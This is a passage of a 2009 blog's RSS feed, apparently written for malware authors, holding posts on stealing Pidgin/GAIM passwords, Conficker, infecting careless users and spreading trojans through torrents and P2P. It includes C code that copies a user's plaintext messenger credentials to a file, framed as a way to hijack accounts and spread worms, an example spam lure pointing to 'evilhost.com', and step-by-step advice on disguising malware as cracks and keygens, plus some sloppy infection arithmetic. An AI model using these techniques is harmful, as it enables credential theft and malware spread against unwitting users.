			<wfw:commentRss>http://maldesign.wordpress.com/2009/04/15/local-exploitation-extracting-and-using-aim-passwords/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/f281dc79521c6b2486ae0d3f961d038f?s=96&#38;d=monsterid&#38;r=PG" medium="image">
			<media:title type="html">Dr. David Davidson</media:title>
		</media:content>
	</item>
		<item>
		<title>Local Exploitation: Extracting GAIM/Pidgin Passwords</title>
		<link>http://maldesign.wordpress.com/2009/04/14/local-exploitation-extracting-gaimpidgin-passwords/</link>
		<comments>http://maldesign.wordpress.com/2009/04/14/local-exploitation-extracting-gaimpidgin-passwords/#comments</comments>
		<pubDate>Tue, 14 Apr 2009 05:01:17 +0000</pubDate>
		<dc:creator>Dr. David Davidson</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Local Exploitation]]></category>
		<category><![CDATA[accounts.xml]]></category>
		<category><![CDATA[aim]]></category>
		<category><![CDATA[aol]]></category>
		<category><![CDATA[gaim]]></category>
		<category><![CDATA[msn]]></category>
		<category><![CDATA[passwords]]></category>
		<category><![CDATA[pidgin]]></category>
		<category><![CDATA[spread]]></category>
		<category><![CDATA[Worm]]></category>
		<category><![CDATA[yahoo]]></category>

		<guid isPermaLink="false">http://maldesign.wordpress.com/?p=18</guid>
		<description><![CDATA[For those of you that don&#8217;t know, Pidgin (formerly GAIM) is a messenger client that allows a user to use one client for their MSN, Yahoo, IRC, AIM, ICQ, and various other protocols. There&#8217;s one thing special &#8212; for malware authors &#8212; that needs to be kept in mind. Pidgin has a &#8220;special feature.&#8221; According [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=maldesign.wordpress.com&amp;blog=7314096&amp;post=18&amp;subd=maldesign&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>For those of you that don&#8217;t know, <a href="http://www.pidgin.im">Pidgin</a> (formerly GAIM) is a messenger client that allows a user to use one client for their <a href="http://download.live.com/?sku=messenger">MSN</a>, <a href="http://messenger.yahoo.com/">Yahoo</a>, <a href="http://en.wikipedia.org/wiki/Internet_Relay_Chat">IRC</a>, <a href="http://dashboard.aim.com/aim">AIM</a>, <a href="http://www.icq.com/">ICQ</a>, and various other protocols.  There&#8217;s one thing special &#8212; for malware authors &#8212; that needs to be kept in mind.<br />
<span id="more-18"></span><br />
Pidgin has a &#8220;special feature.&#8221;  According to their site,</p>
<blockquote><p>This is what Gaim [Pidgin] does: the password is in accounts.xml in plain text, but the file itself is only readable by its owner. We allow the user to determine under what conditions sensitive files should be opened (if at all), and what constitutes a breach of security.</p></blockquote>
<p>Yes, you read that right.  All usernames and passwords are stored, unencrypted, on the user&#8217;s computer.  Their &#8220;security&#8221; plays into our hands; if we&#8217;re infecting someone, we&#8217;ll definitely have access to read their files, and therefore all their Messenger login credentials.  From there, we can log in via our own client mimic scripts for each protocol and spread our virus/worm/bot to our heart&#8217;s content to all the contacts that trust our victim!</p>
<p>The following program was written by a friend.  Although he says he tested it on GAIM 1.1.2, I have tested it at the time of writing on Pidgin 2.4.1 and it still works flawlessly.  &#8220;I got the idea to write an exploit,&#8221; NoUse says in <a href="http://www.hackerthreads.org/viewtopic.php?p=81856#p81856">this thread</a>, &#8220;for GAIM to grab the passwords that are stored in plain text.&#8221;  Basically, it saves them to another file for anyone to work with.<br />
<code>/*<br />
*  <span class="posthilit">GAIM</span> "accounts.xml" local exploit for Linux<br />
*  Tested on: <span class="posthilit">GAIM</span> 1.1.2<br />
*  Works with: All versions<br />
*  written by: NoUse<br />
*  http://www.anomalous-security.org<br />
*<br />
*/<br />
<br />
#include &lt;stdio.h&gt;<br />
#include &lt;unistd.h&gt;<br />
#include &lt;pwd.h&gt;<br />
<br />
#define MAXPATHLEN 56<br />
<br />
int main(int argc, char **argv)<br />
{<br />
FILE *gaim_xml, *output;<br />
int temp;<br />
char <span class="posthilit">gaim</span>[MAXPATHLEN], cwd_buffer[MAXPATHLEN];<br />
char *cwd_pointer;<br />
<br />
struct passwd *home = getpwuid(getuid());<br />
sprintf(<span class="posthilit">gaim</span>, "%s/.<span class="posthilit">gaim</span>/accounts.xml", home-&gt;pw_dir);<br />
<br />
gaim_xml = fopen(<span class="posthilit">gaim</span>, "r");<br />
if(gaim_xml == NULL){<br />
printf("\nError opening <span class="posthilit">gaim</span> account file. Exiting...\n");<br />
return -1;<br />
}<br />
<br />
output = fopen("output.log", "w+");<br />
if(output == NULL){<br />
printf("\nError opening log file. Exiting...\n");<br />
return -1;<br />
}<br />
<br />
while(temp != EOF){<br />
temp = fgetc(gaim_xml);<br />
putc(temp, output);<br />
}<br />
<br />
fclose(gaim_xml);<br />
fclose(output);<br />
<br />
cwd_pointer = getcwd(cwd_buffer, MAXPATHLEN);<br />
printf("\nSuccess! Log file can be found in %s/output.log\n\n", cwd_pointer);<br />
<br />
return 0;<br />
}</code></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/maldesign.wordpress.com/18/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/maldesign.wordpress.com/18/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/maldesign.wordpress.com/18/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/maldesign.wordpress.com/18/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/maldesign.wordpress.com/18/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/maldesign.wordpress.com/18/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/maldesign.wordpress.com/18/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/maldesign.wordpress.com/18/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/maldesign.wordpress.com/18/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/maldesign.wordpress.com/18/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/maldesign.wordpress.com/18/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/maldesign.wordpress.com/18/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/maldesign.wordpress.com/18/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/maldesign.wordpress.com/18/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=maldesign.wordpress.com&amp;blog=7314096&amp;post=18&amp;subd=maldesign&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://maldesign.wordpress.com/2009/04/14/local-exploitation-extracting-gaimpidgin-passwords/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/f281dc79521c6b2486ae0d3f961d038f?s=96&#38;d=monsterid&#38;r=PG" medium="image">
			<media:title type="html">Dr. David Davidson</media:title>
		</media:content>
	</item>
		<item>
		<title>Analysis: Conficker Can Take Over The World</title>
		<link>http://maldesign.wordpress.com/2009/04/13/analysis-conficker-can-take-over-the-world/</link>
		<comments>http://maldesign.wordpress.com/2009/04/13/analysis-conficker-can-take-over-the-world/#comments</comments>
		<pubDate>Tue, 14 Apr 2009 00:57:59 +0000</pubDate>
		<dc:creator>Dr. David Davidson</dc:creator>
				<category><![CDATA[Worms]]></category>
		<category><![CDATA[analysis]]></category>
		<category><![CDATA[conficker]]></category>
		<category><![CDATA[conficker cabal]]></category>
		<category><![CDATA[downadup]]></category>
		<category><![CDATA[how it works]]></category>
		<category><![CDATA[url generation]]></category>

		<guid isPermaLink="false">http://maldesign.wordpress.com/?p=48</guid>
		<description><![CDATA[In February, Microsoft announced a $250,000 bounty for anyone who came to them with information leading to the arrest of the author of the infamous Conficker worm. In just four months (starting in November 2008 to the time of the bounty: February) the worm was suspected to have infected upwards of ten million computers world-wide [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=maldesign.wordpress.com&amp;blog=7314096&amp;post=48&amp;subd=maldesign&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>In February, <a href="http://www.microsoft.com/presspass/press/2009/feb09/02-12ConfickerPR.mspx">Microsoft announced a $250,000 bounty</a> for anyone who came to them with information leading to the arrest of the author of the infamous Conficker worm.  In just four months (starting in November 2008 to the time of the bounty: February) the worm was suspected to have infected upwards of ten million computers world-wide and doesn&#8217;t show signs of slowing down any time soon.  With a reward on the author&#8217;s head that high, you know <em>something</em> must be special about this worm.  Let&#8217;s take a look.<br />
<span id="more-48"></span><br />
<div id="attachment_47" class="wp-caption alignnone" style="width: 510px"><img src="http://maldesign.files.wordpress.com/2009/04/graph.png?w=500&#038;h=378" alt="Graph of Computers Infected by Conficker Over Time" title="graph" width="500" height="378" class="size-full wp-image-47" /><p class="wp-caption-text">Graph of Computers Infected by Conficker Over Time</p></div></p>
<p>Nobody is really sure where the name &#8220;Conficker&#8221; comes from.  (Well, other than the authors, but they sure as hell aren&#8217;t going to speak up.)  However, some believe it is a mashup of the words &#8220;<em>configure</em>&#8221; and &#8220;<em>ficken</em>&#8221; &#8211; the German word for <em>fuck</em>.  Joshua Phillips, an analyst working for Microsoft, believes Conficker is merely an anagram of pieces from the domain name trafficconverter.biz &#8211; which was <a href="https://safeweb.norton.com/report/show?name=trafficconverter.biz">one of the first domains to start spreading Conficker</a>.  Conficker is also known as Downadup, Downup, and Kido.</p>
<p>A big reason Conficker is still around is because it keeps changing.  If it didn&#8217;t, it would be able to be automatically detected by all anti-viruses and deleted instantly.  Microsoft released <a href="http://www.microsoft.com/technet/security/Bulletin/MS08-067.mspx">a patch</a> to fix the vulnerability that is utilized for the worm to spread and <a href="http://technet.microsoft.com/en-us/security/dd452420.aspx">gives instructions online on how to protect your computer from Conficker</a>, but because each strand of the virus is different, it&#8217;s up to the user to remove it.  And we all know how that goes: laziness is a virus author&#8217;s best friend.  &#8220;This virus isn&#8217;t <em>too</em> bad..  I can still use my computer.  I&#8217;m a busy person, I&#8217;m not going to spend ten hours trying to get rid of this thing!&#8221;</p>
<p>Conficker&#8217;s main way for looking for new instructions is by URL generation (as seen in my <a href="http://maldesign.wordpress.com/2009/04/11/update-techniques-url-generation/">other article</a>).  Long story short, there&#8217;s an algorithm embedded deep in Conficker&#8217;s code that generates 250 URLs per day at seemingly random locations around the globe to look for  more instructions from.  At each server, the worm tries to log in and download files, modifications, instructions, and uploads results of recently infected computers.  A huge panic around April 1st was generated; April 1st was the first day the worm started calling home to the generated server names to download new instructions.  Every day afterwards, new domains are generated and it calls back again.</p>
<p>The <a href="http://www.confickercabal.com/"><em>Conficker Cabal</em></a> is an organization led by Microsoft that includes ICANN, NeuStar, VeriSign, CNNIC, Afilias, Public Internet Registry, Global Domains International Inc., M1D Global, AOL, Symantec, F-Secure, ISC, researchers from Georgia Tech, <a href="http://www.shadowserver.org/wiki/">the Shadowserver Foundation</a>, Arbor Networks and Support Intelligence.  The Conficker Cabal, using the DNS companies that are part of the group, are working together to disable the domains targeted by Conficker in order to prevent it from updating, and therefore, make it easier to remove.  </p>
<p>On April 1st, Conficker changed its algorithm for generating URLs.  Suddenly, all the blocked domains from before meant nothing to the worm authors, and the Conficker Cabal scrambled to reverse engineer the new strand of Conficker to get the algorithm for generating new domains.  Who knows, maybe Conficker will change again soon?  </p>
<p>According to <a href="http://mtc.sri.com/Conficker/">this analysis by SRI</a>, </p>
<blockquote><p>The exploit employs a specially crafted remote procedure call (RPC) over port 445/TCP, which can cause Windows 2000, XP, 2003 servers, and Vista to execute an arbitrary code segment without authentication.  The exploit can affect systems with firewalls enabled, but which operate with print and file sharing enabled. The patch for this exploit was released by Microsoft on October 23 2008, and those Windows PCs that receive automated security updates have not been vulnerable to this exploit. Nevertheless, nearly a month later, in mid-November, Conficker would utilize this exploit to scan and infect millions of unpatched PCs worldwide.</p></blockquote>
<p>Worried you might be infected with Conficker?  <a href="http://www.confickerworkinggroup.org/infection_test/cfeyechart.html">This simple eye-chart</a> can tell you immediately!</p>
<p>Mathematically speaking, here&#8217;s my breakdown of the rate and power of Conficker infections.  In mid-November, there were no infections of Conficker.  By the end of December, SRI estimated 6.2 million computers infected worldwide.  By February, that number increased to around 10 million.  Since April 1st, Symantec believes the worm is slowing down in spreading, and instead now taking steps to protect computers already infected from being disinfected. That means a graph of the computer infected over time could be graphed closely with the polygraphic line y=-0.4333x^2 + 5.9667x.</p>
<p>Symantec also believes that, as of April 1st, Conficker is now focusing on spreading new malicious code between already-infected servers.  The time has come for them to farm credit card numbers, bank information, personal information, passwords, and everything else on their fifteen million infected computers.  Many people are worried the 15 million infected might be turned into spam drones &#8211; which would rival the current leading spam botnet of all time: <a href="http://en.wikipedia.org/wiki/Storm_botnet">Storm</a>.  </p>
<p>By the estimate of 15 million computers infected by April 1st, we can have a bit more fun with math.  IP addresses are made of four octets ranging from 0.0.0.0 to 255.255.255.255.  There are just over 4 billion possible IP addresses (4,228,250,625 to be exact).  Each of the 15 million infected computers are already calling home to the <em>same</em> 250 domains (pointing to IP addresses, obviously) per day.  Now, here&#8217;s the crazy part: if each computer were to attempt to attack and infect 282 computers in one day, that would be enough to attack every single IP address combination available to computers today.  Every computer that <em>could</em> be infected, <em>would</em> be infected.  Now, we have to account for downtimes.  Not <em>every</em> computer will be online every day.  If just one-third of the 15,000,000 infected computers (5 million) were online a day, the same effect could be reached in three days.  If a fourth was online per day (a valid estimate), it would take four days.  A fifth?  Five days.  Need it faster?  Conficker could just up the number of IPs being attacked each day.</p>
<p>That&#8217;s right.  Conficker, if they so chose, could infect <em>every single vulnerable computer in the world</em> in under a week.  Say hello to our new robot overlord.  </p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/maldesign.wordpress.com/48/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/maldesign.wordpress.com/48/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/maldesign.wordpress.com/48/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/maldesign.wordpress.com/48/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/maldesign.wordpress.com/48/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/maldesign.wordpress.com/48/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/maldesign.wordpress.com/48/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/maldesign.wordpress.com/48/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/maldesign.wordpress.com/48/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/maldesign.wordpress.com/48/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/maldesign.wordpress.com/48/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/maldesign.wordpress.com/48/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/maldesign.wordpress.com/48/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/maldesign.wordpress.com/48/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=maldesign.wordpress.com&amp;blog=7314096&amp;post=48&amp;subd=maldesign&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://maldesign.wordpress.com/2009/04/13/analysis-conficker-can-take-over-the-world/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/f281dc79521c6b2486ae0d3f961d038f?s=96&#38;d=monsterid&#38;r=PG" medium="image">
			<media:title type="html">Dr. David Davidson</media:title>
		</media:content>

		<media:content url="http://maldesign.files.wordpress.com/2009/04/graph.png" medium="image">
			<media:title type="html">graph</media:title>
		</media:content>
	</item>
		<item>
		<title>Malware Mitigation and Ignorance &#8211; k0pp</title>
		<link>http://maldesign.wordpress.com/2009/04/12/malware-mitigation-and-ignorance/</link>
		<comments>http://maldesign.wordpress.com/2009/04/12/malware-mitigation-and-ignorance/#comments</comments>
		<pubDate>Sun, 12 Apr 2009 20:07:05 +0000</pubDate>
		<dc:creator>k0pp</dc:creator>
				<category><![CDATA[Spreading]]></category>
		<category><![CDATA[ignorance]]></category>
		<category><![CDATA[k0pp]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[mitigation]]></category>

		<guid isPermaLink="false">http://maldesign.wordpress.com/?p=24</guid>
		<description><![CDATA[Statistically speaking, 1/4 machines are infected by malware of some sort. That means that a machine in your network is probably infected with something. This may be something as insignificant as a spam drone or something more identity threatening, such as a info stealer, or a bot. That means that something is probably trying hard [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=maldesign.wordpress.com&amp;blog=7314096&amp;post=24&amp;subd=maldesign&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Statistically speaking, 1/4 machines are infected by malware of some sort.  That means that a machine in your network is probably infected with something.  This may be something as insignificant a<span style="text-decoration:none;"><span>s a spam drone or something more identity threatening</span></span>, such as a info stealer, or a bot.  That means that  something is probably trying hard to break into your machine, or your network, waiting for you to pass valuable credentials and information to a &#8216;secure&#8217; destination.</p>
<p><span id="more-24"></span><br />
The mitigation of malware by the general public seems to increase exponentially year by year. People randomly click this and download that, all without as little as a simple virus scan.  While It&#8217;s common knowledge that most machines wouldn&#8217;t be compromised if the users didn&#8217;t login with the Administrator account, they still do, and they still, seemingly willingly, open their machines to infection.  “It can&#8217;t happen to me&#8230;”, so the cliché goes.  People put aside the concern of being infected by malware crafted to harvest valued credentials.</p>
<p>If you thought this was another white-paper, you were wrong.  The group of ignorant individuals mentioned earlier won&#8217;t be taking the time to read my article.  This is why they make perfect targets.  They will remain oblivious to the fact that they are the target for malware crafters and distributors.  They will randomly download hyper links with infected applications, and if our precious payload is hidden well enough, they&#8217;ll stay oblivious to our game, and might just pass their find to their friends!</p>
<p>Malware of all sorts is distributed in many ways.. Torrents are a very popular way to get your payload out there quickly.  A lot of people assume that they&#8217;ve just found a great deal! Pirated applications.  They think they&#8217;ve found “free” software.  This is a false perception, as the cost of this application they sought after may wind up costing thousands of dollars after their credit card information is harvested.  IM spreading is also a very common method of distribution.  You usually see this feature incorporated into a bot.  The bot is able to hook into an instant messenger service and silently message everyone in the contact list.  These messages typically look something like.. “LOL check this out.. <a href="http://evilhost.com/evilfile.php?id">http://evilhost.com/evilfile.php?id</a>=&lt;contact name&gt;”.  Curiosity will beckon to be relieved, and the recipient of this message will probably click the link.  The PHP file will probably initiate a download of what will look like an image file.  Once again, curiosity prevails and the file is downloaded and executed, thus infecting the victim of this ploy.   Curiosity DID kill the cat!  Fortunately for the bot herder, the bot will also block the contacts it has spammed for a period of time specified by the author, so the original infectee wont get any thought provoking questions regarding the link he just sent.  These two methods of spreading malware affect those computer-illiterate individuals we talked about earlier heavily.</p>
<p>You don&#8217;t have to be illiterate to technology to be infected.  Although it&#8217;s bad security practice, most will admit they don&#8217;t keep the tedious task of updating their system high on the priority list.  New exploits for various services, such as the MS08-067 vulnerability on Microsoft systems, are exploited by malware, and a payload is dropped.  Once again referring to MS08-067, the infamous worm Conficker uses this vulnerability to spread itself.  Another opportunity for exploitation could be a Remote File Inclusion or RFI on a webserver running a vulnerable PHP script.  Bots could be coded to automatically search for vulnerable PHP scripts, plant, and execute itself on the host machine.  Thus a tally mark is added, and the number of infected machines worldwide increases.</p>
<p>The mitigation of malware, and the ignorance of the potential repercussions of being infected by it is alarmingly high.  It&#8217;s very easy to get infected, and it can be a pain to clense a system, assuming someone infected realizes it.  But never fear, malicious coders, according to recent studies the average IQ of an adult is 95~.  You won&#8217;t soon fall short on prey!</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/maldesign.wordpress.com/24/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/maldesign.wordpress.com/24/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/maldesign.wordpress.com/24/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/maldesign.wordpress.com/24/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/maldesign.wordpress.com/24/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/maldesign.wordpress.com/24/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/maldesign.wordpress.com/24/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/maldesign.wordpress.com/24/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/maldesign.wordpress.com/24/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/maldesign.wordpress.com/24/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/maldesign.wordpress.com/24/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/maldesign.wordpress.com/24/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/maldesign.wordpress.com/24/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/maldesign.wordpress.com/24/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=maldesign.wordpress.com&amp;blog=7314096&amp;post=24&amp;subd=maldesign&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://maldesign.wordpress.com/2009/04/12/malware-mitigation-and-ignorance/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/890639c5ab0bf28dc71d23c7f4ed34a5?s=96&#38;d=monsterid&#38;r=PG" medium="image">
			<media:title type="html">k0pp</media:title>
		</media:content>
	</item>
		<item>
		<title>Spreading Techniques: Torrents and P2P Networks</title>
		<link>http://maldesign.wordpress.com/2009/04/11/spreading-techniques-torrents-and-p2p-networks/</link>
		<comments>http://maldesign.wordpress.com/2009/04/11/spreading-techniques-torrents-and-p2p-networks/#comments</comments>
		<pubDate>Sat, 11 Apr 2009 08:35:07 +0000</pubDate>
		<dc:creator>Dr. David Davidson</dc:creator>
				<category><![CDATA[Spreading]]></category>
		<category><![CDATA[Worms]]></category>
		<category><![CDATA[forums]]></category>
		<category><![CDATA[megaupload]]></category>
		<category><![CDATA[network]]></category>
		<category><![CDATA[p2p]]></category>
		<category><![CDATA[rapidshare]]></category>
		<category><![CDATA[seed]]></category>
		<category><![CDATA[spread]]></category>
		<category><![CDATA[technique]]></category>
		<category><![CDATA[torrent]]></category>
		<category><![CDATA[tracker]]></category>

		<guid isPermaLink="false">http://maldesign.wordpress.com/?p=11</guid>
		<description><![CDATA[Let&#8217;s face it &#8211; although torrents and P2P networks are used to distribute illegal goods 99% of the time, that 1% of legitimate use is what keeps them in business. Torrent and P2P networks are the two most popular forms of finding the files you want to download. When is the last time you googled [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=maldesign.wordpress.com&amp;blog=7314096&amp;post=11&amp;subd=maldesign&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Let&#8217;s face it &#8211; although torrents and P2P networks are used to distribute illegal goods 99% of the time, that 1% of legitimate use is what keeps them in business.  Torrent and P2P networks are the two most popular forms of finding the files you want to download.  When is the last time you <a href="http://www.akaraff.com/archives/tricks-to-using-google-to-find-music">googled &#8220;index of /music&#8221;</a> to find some sweet mp3s?  A while, I bet.  P2P and torrents are the new filesharing networks &#8211; so why not use them to distribute your malware?<br />
<span id="more-11"></span><br />
Sites such as <a href="http://megaupload.com/">MegaUpload</a> and <a href="http://rapidshare.com/">RapidShare</a> allow anyone to upload any file at any time, anonymously.  There are more <a href="http://www.technotraits.com/2009/04/7-websites-that-upload-files-to-multiple-file-sharing-sites-at-once/">sites like these</a>, but these two are the most popular &#8211; and what I&#8217;ll talk about.  </p>
<p>What you want to do first, is find a <a href="http://www.google.com/search?q=define:niche">niche</a> that you want to appeal to.  Common ones are hacking tools and illegal warez, such as games, cracks, and keygens.  These type of files are commonly misrepresented as malware, so people will be more likely to ignore an annoying message from their antivirus telling them to delete whatever it is they got from you.  </p>
<p>Forums are great ideas for niches.  Want <a href="http://www.google.com/search?hl=en&amp;q=hacking+forums">hacking</a>?  How about some <a href="http://www.google.com/search?q=warez+forums">warez forums</a>?  They&#8217;re brilliant ideas.  If you find a site or forum where people go to either request or fufill requests for hard-to-find things such as specific anime, porn, programs, or videos, it&#8217;s an excellent place to spread your dirty stuff.  The harder-to-find something is, the longer someone is going to look, and the more frustrated they&#8217;ll become when they don&#8217;t find it.  The more frustrated they become, the more likely they&#8217;re willing to run <em>VB6_nocdkey-crackedby-_-gibson-_-.exe</em>.  </p>
<p>Filenames are key.  Pretend you&#8217;re downloading a &#8220;cracked version&#8221; of Flash 8 Professional from some unknown website.  Would you be more willing to run <em>flash.exe</em>, <em>f8p.exe</em>, <em>flash_8_professional_rusk_cr4ck.exe</em>, or even <em>flash8setup.exe</em>?  It&#8217;s up to you &#8211; pick what you want to name your file according to your niche.  For best results, research common names that are already in use and base yours off them.  Sometimes networks have keywords you might not be familiar with if you&#8217;re just jumping into the game.</p>
<p>Speaking of keywords, I want to mention <a href="http://thepiratebay.org/">torrents</a>.  I won&#8217;t go into much detail in this article (perhaps later) but I will have to say they are just as efficient as P2P networks &#8211; if used right.  With torrents, you have to build up seeds and prevent negative comments.  If a victim downloads your botnet client and a big, scary command prompt with green text on a black background screams at them, &#8220;YOU&#8217;VE BEEN INFECTED HAHAHAHAHA,&#8221; they&#8217;re obviously going to comment on the torrent that it&#8217;s a virus &#8211; and tell others not to download it.  They will probably even report it, where it&#8217;ll be taken down quite quickly.  </p>
<p>I recommend, for torrents, to make a fancy GUI frontend in either Visual Basic or with a GUI extension for your programming language (like <a href="http://www.tcl.tk/software/tcltk/">Tk</a>).  It makes the program more believable.  If you&#8217;re supposed to be generating keys for World of Warcraft, have a fancy WoW program that generates keys that look like WoW keys.  It&#8217;s much better for someone to report on the torrent site, &#8220;The keys have all been used!&#8221; than &#8220;This is a rootkit in a box.&#8221;  </p>
<p>In conclusion, torrents and P2P networks are very efficient ways to spread malicious code and software.  Many people are desperate for many things, and many people just don&#8217;t know any better.  Many people will download and run your programs &#8211; so have fun!</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/maldesign.wordpress.com/11/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/maldesign.wordpress.com/11/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/maldesign.wordpress.com/11/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/maldesign.wordpress.com/11/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/maldesign.wordpress.com/11/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/maldesign.wordpress.com/11/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/maldesign.wordpress.com/11/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/maldesign.wordpress.com/11/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/maldesign.wordpress.com/11/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/maldesign.wordpress.com/11/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/maldesign.wordpress.com/11/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/maldesign.wordpress.com/11/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/maldesign.wordpress.com/11/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/maldesign.wordpress.com/11/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=maldesign.wordpress.com&amp;blog=7314096&amp;post=11&amp;subd=maldesign&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://maldesign.wordpress.com/2009/04/11/spreading-techniques-torrents-and-p2p-networks/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/f281dc79521c6b2486ae0d3f961d038f?s=96&#38;d=monsterid&#38;r=PG" medium="image">
			<media:title type="html">Dr. David Davidson</media:title>
		</media:content>
	</item>
		<item>
		<title>Update Techniques: URL Generation</title>
		<link>http://maldesign.wordpress.com/2009/04/11/update-techniques-url-generation/</link>
		<comments>http://maldesign.wordpress.com/2009/04/11/update-techniques-url-generation/#comments</comments>
		<pubDate>Sat, 11 Apr 2009 04:47:38 +0000</pubDate>
		<dc:creator>Dr. David Davidson</dc:creator>
				<category><![CDATA[Updating and Evolving]]></category>
		<category><![CDATA[Worms]]></category>
		<category><![CDATA[conficker]]></category>
		<category><![CDATA[instructions]]></category>
		<category><![CDATA[technique]]></category>
		<category><![CDATA[update]]></category>
		<category><![CDATA[url]]></category>
		<category><![CDATA[url generation]]></category>

		<guid isPermaLink="false">http://maldesign.wordpress.com/?p=6</guid>
		<description><![CDATA[Looking through how Conficker works, I realized their function for looking for instructions from a master is brilliant. Most trojans and worms that report back to a main server or something similar usually hard-code either the actual server into the code (NO NO!) or an algorithm to generate the server into the code (almost as [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=maldesign.wordpress.com&amp;blog=7314096&amp;post=6&amp;subd=maldesign&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
